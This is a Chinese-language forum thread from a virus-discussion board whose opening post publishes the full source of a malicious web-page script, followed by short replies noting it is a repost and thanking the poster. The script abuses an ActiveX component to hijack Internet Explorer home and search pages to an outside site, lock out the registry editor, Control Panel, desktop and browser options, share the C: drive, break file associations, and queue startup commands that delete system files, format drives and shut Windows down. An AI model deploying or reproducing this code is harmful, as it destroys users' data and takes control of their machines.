论坛: 病毒专区 标题: 网页病毒源代码大全放送 复制本贴地址    
作者: jianphu [jianphu]    论坛用户   登录
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function DelFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (document.cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", " http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", " http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Local Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "000001");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Start Page", "000001");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings", "000001");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Local Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "000001");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Start Page", "000001");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings", "000001");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\SOFTWARE\\Microsoft\\Internet Explorer\\Search\\SearchAssistant","http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Search\\SearchAssistant","http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\Control Panel\\International\\StimeFormat","HH:mm");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Control Panel\\International\\sLongDate","yyyy'年'M'月'd' 这里是指向网址'");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoControlPanel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoControlPanel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Ratings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Certificates", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Formsuggest", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\FormSuggest Passwords", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Pronfiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\GeneralTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Colors", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Fonts", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Languages", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Links", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ConnectionsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connection Settings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Proxy", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ProgramsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\CalendarContact", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AdvancedTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoOpenInNewWnd", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSelectDownloadDir", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSearchCustomization", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoExternalBranding", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoJitsetup", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSplash", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoUpdateCheck", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileNew", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBandcustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoToolbarCustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFavorites", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoAddingChannel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoChannelUI", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemNetScapeHelp", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemTipOfTheDay", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpitemTutorial", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemSendFeedBack", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Ratings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Certificates", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Formsuggest", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\FormSuggest Passwords\\", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Pronfiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\GeneralTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Colors", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Fonts", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Languages", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Links", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ConnectionsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connection Settings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Proxy", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ProgramsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\CalendarContact", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AdvancedTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoOpenInNewWnd", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSelectDownloadDir", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSearchCustomization", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoExternalBranding", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoJitsetup", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSplash", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoUpdateCheck", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileNew", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBandcustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoToolbarCustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFavorites", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoAddingChannel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoChannelUI", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemNetScapeHelp", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemTipOfTheDay", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpitemTutorial", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemSendFeedBack", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\sys tem\\DisableRegistryTools","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache Internet","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connwiz Admin Lock","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab","1","REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\First Home Page", "hhttp://lonsin.myrice.com/");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{21EC2020-3AEA-1069-A2DD-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{2227A280-3AEA-1069-A2DE-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{871C5380-42A0-1069-A2EA-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{992CFFA0-F557-101A-88EC-00DD010CCC48}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{BDEADF00-C265-11d0-BCED-00A0C90AB50F}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}\\","网络生化危机");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Nodrives","1", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",302,"REG_DWORD"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\ RWC$\\Type",0,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.inf\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.exe\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.ini\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.com\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.txt\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\\","","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\","C:\\Windows\\System\\Browseui.dll-","REG_SZ");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","00000001","REG_DWORD"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\SchedulingAgent","","REG_SZ"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose","00000001","REG_DWORD"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFileMenu","00000001","REG_DWORD"); 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSaveSettings","00000001","REG_DWORD"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m del /y c:\\io.sys /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m del /y c:\\msdos.sys /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y a:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y d:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y e:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y f:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y g:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\rundll.exe","rundll.exe user.exe,exitwindows"); 
WF = FSO.GetSpecialFolder(0);loc = WF + "\\system";
var Shor=Shl.CreateShortcut(loc + "\\"+"internet" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop";
var Shor=Shl.CreateShortcut(loc + "\\"+"Internet Explorer" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://www.nsfocus.com/main.php";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</script>


地主 发表时间: 07/25 12:53
回复: Leader [leader]   论坛用户   登录
你好象忘了写两个字，那就是（转帖）

B1层 发表时间: 07/25 16:49
回复: ccw [ccw]   论坛用户   登录
发这个大家以后碰到恶意网页了砍他


B2层 发表时间: 07/27 12:45
回复: somy [gefujian]   论坛用户   登录
不错，我喜欢，谢谢！
我一直搞不懂是写入注册表的命令是什么，这下知道了，我很菜啊！

B3层 发表时间: 07/28 09:13
回复: hcz [hcz]   论坛用户   登录
发现有的人真的很烦啊，人家好心贴东西出来给你们看，还那么罗嗦，你管他是自己写的，还是原创的，你看就是了。

B4层 发表时间: 07/29 02:04

